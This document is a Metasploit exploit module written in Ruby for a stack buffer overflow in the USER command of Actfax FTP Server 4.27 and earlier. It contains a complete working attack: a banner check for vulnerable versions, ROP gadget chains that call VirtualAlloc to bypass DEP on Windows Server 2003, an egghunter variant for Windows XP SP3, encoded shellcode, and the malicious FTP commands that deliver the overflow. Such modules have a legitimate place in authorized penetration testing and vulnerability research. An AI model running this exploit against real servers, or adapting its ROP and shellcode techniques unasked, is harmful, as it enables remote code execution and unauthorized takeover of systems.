Actfax FTP Server 4.27 USER Command Stack Buffer Overflow

`##  
# $Id: actfax_retr_ftp.rb 12540 2011-05-04 20:43:19Z mr_me $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Actfax FTP Server <= v4.27 USER Command Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in actfax ftp Server  
version 4.27 and earlier. Actfax fails to check input size when parsing 'USER' command.   
This vulnerability results in arbitray code execution. This module has been designed to   
bypass DEP under Windows Server 2003 SP2/R2.  
},  
'Author' =>  
[  
'mr_me - twitter.com/net__ninja & mrme.mythsec<at>gmail.com', # found/wrote msf module  
'chap0 - chap0.mythsec<at>gmail.com', # for the original versions  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 12540 $',  
'References' =>  
[  
[ 'OSVDB', '72520' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/16177/' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 600,  
'DisableNops' => true,  
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Server 2003 DEP bypass targets (fully tested)  
[ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.4789', { 'Ret' => 0x7C813C8F } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll]  
[ 'Windows Server 2003 + DEP bypass - NTDLL v5.2.3790.3959', { 'Ret' => 0x7C813DE7 } ], # MOV ESP,EBP; POP EBP; RETN [ntdll.dll]  
# NON DEP Bypass target (fully tested)   
[ 'Windows XP SP3 - Universal', { 'Ret' => 0x004021C5 } ], # CALL EDI [ActSrvNT.exe]  
],  
'DisclosureDate' => 'Jul 31 2011',  
'DefaultTarget' => 0))  
  
end  
  
def check  
connect  
disconnect  
  
if (banner =~ /Version 4.27/ || banner =~ /Version 4.25/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def get_encoded_payload(p, reg)  
encoder = framework.encoders.create("x86/alpha_mixed")  
encoder.datastore.import_options_from_hash( {'BufferRegister'=>reg} )  
rencoded_payload = encoder.encode(p, nil, nil, platform)  
return rencoded_payload  
end  
  
def junk  
return rand_text_alpha(4).unpack("L")[0].to_i  
end  
  
def exploit  
connect  
  
if (target.name =~ /Server 2003/)  
sc = get_encoded_payload(payload.encoded, "ESP")  
  
# specially aligned RETN  
rop_stage1 = "\x42\x28\x5f" # RETN [htnetcfg.dll]  
rop_stage1 += [0x5f282336].pack("V*") * 51 # RETN [htnetcfg.dll]  
  
# All rop stage 1 instructions are from htnetcfg.dll   
# Tested versions 5.2.3790.3959 &   
# which seem to be universal across all windows server 2003 SP's  
rop_stage1 +=   
[  
0x5F29C7F8, # POP EAX; POP ESI; POP EBP; RETN 8  
0x5F2B5DC3, # ptr to 0x00001000  
junk, # JUNK  
0x5f29aa95, # p2p that is writable, we also -0c to accommodate  
0x5F2A32DA, # MOV EDX,DWORD PTR DS:[EAX]; JUNK; JUNK; JUNK; JUNK; JUNK; JUNK; RETN 8  
junk, # JUNK  
junk, # JUNK  
junk, # JUNK  
0x5f282336, # RETN  
junk, # JUNK  
junk, # JUNK  
].pack("V*")  
  
# jump over the below stack alignment (Dont POP EDI)  
rop_stage1 += [0x5F2A345D].pack("V*") # POP ECX; POP EBP; RETN [htnetcfg.dll]  
  
# rop_stage1 + stack_alignment to realign after retn address  
rop_stage1 += rand_text_alpha(1)  
stack_alignment = rand_text_alpha(3)  
  
# We have to be smart on how we use gadgets.  
# Almost a universal dep bypass as most ptrs are from "ActSrvNT.exe".  
# We can use null bytes 0x00 due to character conversion of 0x20!  
# Also, we waste ~208 bytes in payload space but thanks to nulls, we are saved!  
# EDX already contains = 1000 from flAllocationType (rop_stage1)  
rop_stage2 =   
[  
0x204C2135, # POP EAX; RETN  
0x2051E1B0, # IAT -> VirtualAlloc  
0x2051D7A1, # MOV EAX,DWORD PTR DS:[EAX]; RETN  
0x2040A4A0, # POP EBX; RETN  
0x2040A4A0, # POP EBX; RETN  
0x20422E7D, # MOV ESI,EAX; CALL EBX  
0x2040F2c2, # POP EBP; POP EBX; RETN  
0x204A5DED, # JMP ESP  
0x20202120, # dwSize  
0x204C2135, # POP EAX; RETN  
0x44444444, # INC ESP before sc (getPC)  
0x20415D7A, # POP EDI; POP ECX; RETN  
0x20404A3F, # RETN  
0x20202040, # flProtect  
0x2045AB53, # PUSHAD; RETN  
].pack("V*")  
  
print_status("Targeting %s" % target.name)  
sploit = rop_stage1  
sploit << [target.ret].pack("V")  
sploit << stack_alignment  
sploit << rop_stage2  
sploit << sc  
sploit << rand_text_alpha((990-sploit.length))  
  
else  
eggoptions =   
{  
:checksum => false,  
:eggtag => 'lulz',  
}  
  
# double encoded msf shellcode trick  
sc = get_encoded_payload(payload.encoded, "EDI")  
hunter,egg = generate_egghunter(sc, nil, eggoptions)  
  
# encode our hunter  
hunter = get_encoded_payload(hunter, "EDI")  
print_status("Targeting %s" % target.name)  
print_status("Sending stage 1 exploit buffer...")  
send_cmd(['USER', 'anonymous'], true)  
send_cmd(['PASS', egg], false)  
  
sploit = hunter  
sploit << rand_text_alpha(256-sploit.length)  
sploit << [target.ret].pack("V")  
  
# connect again ;)  
connect  
end  
  
# profit  
send_cmd(['USER', sploit] , false)  
handler  
disconnect  
  
end  
  
end  
`